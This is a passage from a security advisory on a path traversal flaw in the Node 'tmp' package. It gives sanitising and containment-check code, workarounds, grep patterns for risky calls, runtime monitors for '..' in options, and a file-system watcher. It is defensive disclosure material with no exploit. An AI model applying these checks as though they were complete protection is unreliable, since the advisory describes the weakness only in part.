(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) **CWE Classification:** - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### Remediation **Input Validation and Sanitization:** 1. **Sanitize prefix/postfix:** ```javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``` 2. **Validate dir parameter:** ```javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``` 3. **Post-construction path validation:** ```javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``` **Secure Implementation Pattern:** ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``` ### Workarounds **For Application Developers:** 1. **Input Sanitization:** ```javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``` 2. **Path Validation:** ```javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``` 3. **Restricted Usage:** ```javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``` **For Security Teams:** 1. **Code Review Patterns:** ```bash # Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``` 2. **Runtime Monitoring:** ```javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``` ### Detection and Monitoring **Static Analysis:** - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories **Runtime Detection:** ```javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``` **File System Monitoring:** ```bash # Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``` ### Acknowledgements **Reported by**: Mapta / BugBunny_ai
- Source published
- 27 May 2026 00:34:06 UTC
- Source modified
- 10 Sep 2026 03:51:06 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Publisher rating · HIGH